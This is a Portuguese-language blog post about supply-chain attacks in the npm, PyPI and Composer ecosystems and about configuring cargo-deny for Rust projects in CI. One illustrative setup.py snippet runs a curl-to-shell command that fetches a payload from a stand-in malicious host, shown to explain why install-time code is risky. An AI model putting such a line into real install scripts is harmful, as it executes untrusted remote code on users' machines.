Semana do terror no PHP, Python e Node: como o cargo deny blinda seu projeto Rust
Por @zejuniortdr em Out 23, 2026

Ataques de supply chain no npm, PyPI e Composer viraram rotina; veja como o cargo deny barra vulnerabilidades, licenças proibidas e crates abandonadas no CI do Rust.
Você conhece a cena. Segunda-feira, café na mão, e a aba de notificações do GitHub está vermelha: o Dependabot abriu onze PRs durante a madrugada, o Slack do time tem um link de CVE com nota 9.8, e o pipeline que passava na sexta agora quebra num pacote que você nunca instalou. Ele está lá na camada 4 da árvore, puxado por uma lib que puxa uma lib que puxa uma lib.
Nos últimos anos isso deixou de ser exceção e virou calendário. No Node, o event-stream (2018) ganhou um mantenedor novo que injetou código para roubar carteiras de Bitcoin; o ua-parser-js (2021) foi sequestrado e passou a instalar minerador; em setembro de 2025, a conta de um mantenedor caiu num phishing e pacotes como chalk e debug, com bilhões de downloads semanais somados, foram publicados com malware; semanas depois veio o worm Shai-Hulud, que se espalhava sozinho roubando tokens do npm. No Python, a ultralytics (dezembro de 2024) saiu no PyPI com um minerador embutido via ataque ao pipeline de release. No PHP, até o repositório do próprio php-src recebeu, em 2021, commits forjados com um backdoor.
E como se o passado não fosse aviso suficiente, nesta exata semana (outubro de 2026) presenciamos um verdadeiro terror: o Node.js teve que lançar correções de emergência no dia 21 para a vulnerabilidade crítica apelidada de Node2Shell (CVE-2026-111497), uma falha no decodificador Brotli que permite Execução Remota de Código (RCE) a partir de fluxos manipulados. No mesmo dia, o ecossistema PHP divulgou o PHP2Shell (CVE-2026-109618 e CVE-2026-109619), duas falhas catastróficas (com nota 9.2 no CVSS) que também permitem RCE no núcleo da linguagem via corrupção de memória e estado global obsoleto. Pior ainda: pesquisadores já detectaram agentes maliciosos explorando o PHP2Shell ativamente na internet poucas horas após a divulgação.
Eu passei mais de duas décadas no mundo Python e web. Não escrevo isso de cima do muro: várias vezes já recebi o alerta vermelho. A pergunta que interessa é outra: por que isso dói tanto nesses ecossistemas, e o que o Rust te dá de ferramenta para dormir melhor?
O problema estrutural (não é falta de cuidado do dev)
Três características deixam linguagens dinâmicas especialmente expostas.
1. Árvores gigantescas. O node_modules virou meme por um motivo: um projeto React “vazio” traz centenas de pacotes transitivos. Cada um é um mantenedor, uma conta que pode ser invadida, um token que pode vazar.
2. Código arbitrário rodando na instalação. Esse é o ponto que pouca gente encara de frente:
// package.json de uma dependência qualquer, lá no fundo da árvore
{
"name": "lib-inocente",
"scripts": {
"postinstall": "node ./setup.js"
}
}
Compare com Python:
# setup.py de um sdist: roda com SEUS privilégios no `pip install`
from setuptools import setup
import os
os.system("curl https://exemplo-malicioso.invalid/payload | sh") # ninguém revisa isso
setup(name="lib-inocente", version="1.0.0")
No npm, postinstall roda por padrão. No pip, instalar a partir de um sdist executa o setup.py (ou o backend de build) na sua máquina. No Composer, plugins de dependências executam código, e foi exatamente por isso que o Composer 2.2 passou a exigir o allow-plugins explícito.
3. Auditoria que chega depois. npm audit, pip-audit e composer audit existem e são úteis. Mas geralmente rodam depois do install, ou seja, depois que o postinstall já rodou. E cada ecossistema exige montar o próprio quebra-cabeça para ir além de CVE:
# Python: uma ferramenta para cada pergunta
pip install pip-audit pip-licenses pipdeptree
pip-audit # vulnerabilidades
pip-licenses --fail-on="GPL;AGPL" # licenças
pipdeptree --warn fail # conflitos na árvore
# Node: mesma história
npm audit --audit-level=high
npx license-checker --failOn "GPL;AGPL"
Funciona? Funciona. Mas são três ferramentas, três formatos de configuração, três coisas pra quebrar no CI. Foi o mesmo tipo de “fadiga de tooling” que comentei no post Cargo contra rapa.
O contraponto do Rust
O Rust é famoso pela segurança de memória: ownership e borrow checker eliminando classes inteiras de bugs (se esse assunto ainda é nebuloso, comece pelo guia de ownership para pythonistas). O que pouca gente comenta é que a segurança do ecossistema também recebeu atenção de primeira classe.
O Cargo já parte de uma base previsível:
- O
Cargo.locktrava a árvore inteira com checksums, sem precisar de ferramenta extra. - Versões publicadas no crates.io são imutáveis: dá pra fazer
yank(desaconselhar), mas não dá para substituir o conteúdo de uma versão existente. - Existe um banco central de vulnerabilidades mantido pela comunidade, o RustSec Advisory Database.
Mas e se a gente pudesse ser ainda mais paranoico e travar vulnerabilidades, licenças não permitidas e pacotes abandonados antes mesmo de compilar? É aqui que entra o cargo deny.
O que é o cargo deny
O cargo-deny, mantido pela Embark Studios, é um linter para o grafo de dependências. Ele lê o Cargo.lock e o metadata do projeto e responde quatro perguntas de uma vez:
| Check | Pergunta que responde |
|---|---|
advisories |
Alguma crate da árvore tem vulnerabilidade conhecida, foi abandonada ou sofreu yank? |
licenses |
Alguma licença da árvore é incompatível com o meu projeto? |
bans |
Tem crate proibida, ou várias versões da mesma crate? |
sources |
Alguma dependência vem de registry ou repositório git que eu não autorizei? |
Uma ferramenta, um arquivo de configuração, um comando.
Instalando e inicializando
cargo install --locked cargo-deny
# na raiz do projeto: gera um deny.toml comentado
cargo deny init
# roda todos os checks
cargo deny check
# ou só um deles
cargo deny check licenses
Compare com Python:
pip install pip-audit pip-licenses
pip-audit && pip-licenses --fail-on="GPL;AGPL"
# e a configuração mora em flags espalhadas pelo CI
O deny.toml gerado pelo init é enorme e cheio de comentários. Abaixo, vou destrinchar seção por seção e no fim juntar tudo numa versão enxuta.
Advisories: o RustSec como porteiro
[advisories]
version = 2
# baixa e consulta o banco do RustSec a cada execução
db-urls = ["https://github.com/rustsec/advisory-db"]
# crate abandonada (aviso "unmaintained" no RustSec) quebra o check
unmaintained = "all"
# versão que o autor retirou do registry também
yanked = "deny"
ignore = [
# exceções documentadas, com motivo e prazo, nunca silenciosas:
# { id = "RUSTSEC-0000-0000", reason = "sem caminho de exploração; remover na v2.1" },
]
O ponto importante: o RustSec não registra só CVE. Ele também publica avisos de crate sem manutenção (unmaintained) e de crates maliciosas. Quando apareceu o rustdecimal em 2022, um typosquat da crate legítima rust_decimal que baixava malware em pipelines de CI, ele virou o aviso RUSTSEC-2022-0042. Quem rodava cargo deny com o banco atualizado tinha o build barrado.
E repare no ignore: dá pra aceitar um risco conscientemente, mas isso fica escrito no repositório, com motivo, revisável em PR. Nada de --ignore perdido num script de CI.
Licenças: o problema que Python e Node empurram com a barriga
Se o seu produto é código fechado, uma dependência GPL transitiva é um problema jurídico real. No Python, metadata de licença no PyPI é inconsistente: às vezes está no classifier, às vezes num campo livre, às vezes em lugar nenhum. No Rust, o campo license do Cargo.toml usa expressões SPDX (MIT OR Apache-2.0), e o cargo deny ainda escaneia os arquivos de licença para confirmar.
[licenses]
version = 2
# lista de PERMITIDAS: tudo fora dela é negado
allow = [
"MIT",
"Apache-2.0",
"BSD-3-Clause",
"ISC",
"Unicode-3.0",
]
# quão confiante o scanner precisa estar ao ler um arquivo LICENSE
confidence-threshold = 0.9
# exceção pontual e explícita, por crate
exceptions = [
# { allow = ["MPL-2.0"], crate = "webpki-roots" },
]
[licenses.private]
# crates internas do workspace que não vão para o crates.io
ignore = true
GPL, AGPL e LGPL não estão no allow, então qualquer crate com essas licenças em qualquer nível da árvore quebra o check. Para descobrir o que você já tem hoje:
cargo deny list
Compare com Python:
# depende do metadata que cada autor preencheu (ou não)
pip-licenses --format=markdown
pip-licenses --fail-on="GNU General Public License v3 (GPLv3)"
# o nome precisa bater exatamente com a string do classifier
Bans: proibindo crates e duplicatas
A seção bans faz dois trabalhos. O primeiro é a lista negra explícita:
[bans]
deny = [
# padronizar TLS em rustls e nunca linkar OpenSSL
{ crate = "openssl", use-instead = "rustls", reason = "evitar dependência de lib C do sistema" },
{ crate = "openssl-sys", use-instead = "rustls" },
]
# proibir `versao = "*"` no Cargo.toml
wildcards = "deny"
Crate abandonada é responsabilidade do advisories (via aviso unmaintained do RustSec); o bans é para quando você decide que uma crate não entra, seja por política do time, por histórico ruim ou porque já existe alternativa padronizada.
O segundo trabalho é o que mais gosto: múltiplas versões.
# mostra crates que aparecem em mais de uma versão
cargo tree -d
Em projetos grandes é comum compilar duas, três, às vezes quatro versões de syn, windows-sys ou rand, porque cada dependência pediu uma faixa diferente. Cada cópia extra é tempo de compilação e tamanho de binário (o mesmo assunto que apareceu quando comparei o pacote da Lambda em Rust vs Python).
[bans]
multiple-versions = "deny"
skip = [
# duplicata conhecida e aceita até o upstream atualizar
# { crate = "windows-sys@0.48", reason = "tokio ainda puxa a 0.48" },
]
Com "deny", uma dependência nova que traga a quinta versão do syn não entra sem alguém justificar no PR. Se for barulho demais no começo, use "warn" e aperte depois.
Sources: de onde vem o código
[sources]
unknown-registry = "deny"
unknown-git = "deny"
allow-registry = ["https://github.com/rust-lang/crates.io-index"]
allow-git = []
Alguém adicionou minha-lib = { git = "https://github.com/fulano/fork" } “só para testar”? O check quebra até o repositório entrar explicitamente no allow-git.
Juntando tudo: um deny.toml enxuto
[graph]
all-features = true
[advisories]
version = 2
unmaintained = "all"
yanked = "deny"
ignore = []
[licenses]
version = 2
allow = ["MIT", "Apache-2.0", "BSD-3-Clause", "ISC", "Unicode-3.0"]
confidence-threshold = 0.9
[licenses.private]
ignore = true
[bans]
multiple-versions = "warn"
wildcards = "deny"
deny = [
{ crate = "openssl", use-instead = "rustls" },
]
[sources]
unknown-registry = "deny"
unknown-git = "deny"
Umas 30 linhas, versionadas junto com o código, revisadas em PR como qualquer outra mudança.
No CI: quebrou, não vai pra produção
No GitHub Actions existe uma action oficial, que já traz o binário pronto:
# .github/workflows/deny.yml
name: cargo-deny
on: [push, pull_request]
jobs:
deny:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: EmbarkStudios/cargo-deny-action@v2
with:
command: check advisories licenses bans sources
No GitLab CI:
cargo-deny:
image: rust:latest
script:
- cargo install --locked cargo-deny
- cargo deny check
Compare com um pipeline Python fazendo o mesmo trabalho:
audit:
image: python:3.13
script:
- pip install pip-audit pip-licenses pipdeptree
- pip install -r requirements.txt # o código das deps já rodou aqui
- pip-audit
- pip-licenses --fail-on="GPL;AGPL"
- pipdeptree --warn fail
Dois detalhes fazem diferença no mundo real:
- O cargo deny não compila nada. Ele lê o
Cargo.locke o metadata. Rodar como primeiro job do pipeline significa barrar a dependência ruim antes de qualquerbuild.rsser executado no seu runner. - Agende uma execução diária, além do push. Um advisory novo pode ser publicado hoje para uma crate que você adicionou há seis meses. Um
schedulecom cron no Actions resolve: o pipeline quebra na terça, e não quando alguém for mexer no projeto daqui a três meses.
Sem fanatismo: o que o Rust não resolve
Seria desonesto parar aqui. O Rust também tem código arbitrário em tempo de build: build.rs e macros procedurais rodam na sua máquina durante o cargo build (falei de macros no post sobre macros para pythonistas). Uma crate maliciosa recém-publicada, ainda sem advisory, passa pelo cargo deny tranquilamente. Typosquatting também existe no crates.io, como o caso rustdecimal mostrou.
| Característica | Python (pip) | Node (npm) | Rust (cargo + cargo deny) |
|---|---|---|---|
| Lockfile nativo com hash | Não no pip puro (uv/poetry sim) | Sim | Sim (Cargo.lock) |
| Versão publicada imutável | Sim (PyPI não permite reenvio) | Sim (com unpublish limitado) | Sim (só yank) |
| Código roda na instalação | Sim (sdist) | Sim (postinstall) |
Não; roda no build (build.rs, proc macros) |
| Vulnerabilidades | pip-audit |
npm audit |
cargo deny check advisories |
| Crate/pacote abandonado | Manual | Manual | Aviso unmaintained do RustSec |
| Licenças | pip-licenses (metadata irregular) |
license-checker |
SPDX + scan, cargo deny check licenses |
| Versões duplicadas | Não se aplica (uma versão por env) | Comum, sem barreira | bans.multiple-versions |
| Origem das dependências | Manual | Manual | cargo deny check sources |
| Ferramentas para tudo isso | 3+ | 2+ | 1 |
A diferença não é que o Rust seja imune. É que a resposta da comunidade cabe em uma ferramenta, um arquivo e um job de CI, enquanto em outros ecossistemas você costura soluções e torce para elas continuarem conversando entre si.
O que esse caso ensina
- Supply chain é problema de processo, não de linguagem. Contas de mantenedor são invadidas no npm, no PyPI e no crates.io. O que muda é quão cedo e quão barato você detecta.
- Política escrita vence alerta solto. Um
deny.tomlversionado transforma “acho que não usamos GPL” em uma regra que o CI cobra em todo PR. - Exceção tem que ter motivo. O
ignorecomreasone oskipdocumentado deixam rastro de quem aceitou qual risco e por quê. - Checar antes de compilar importa. Ler o lockfile antes de rodar
build.rsfecha uma janela que, no Python e no Node, costuma estar aberta durante oinstall. - Nenhuma ferramenta pega o ataque do dia zero. Revisar dependência nova no PR, fixar versões e reduzir a árvore continuam sendo obrigação sua.
Próximos passos
Pegue um projeto Rust seu, rode cargo deny init && cargo deny check e veja o que aparece. Aposto que a seção de licenças ou de duplicatas vai te surpreender. Se você ainda está começando e não tem projeto Rust nenhum, o post sobre o Cargo é o melhor ponto de partida: ele mostra a base sobre a qual o cargo deny trabalha.
Nenhuma linguagem é à prova de balas, mas o ferramental da comunidade Rust coloca uma porta blindada na esteira de desenvolvimento, algo que em outros ecossistemas costuma exigir gambiarra. Se você quer aprender Rust aproveitando tudo o que você já sabe de Python e construir APIs seguras de verdade, garanta sua cópia do livro Desbravando Rust.
Comentários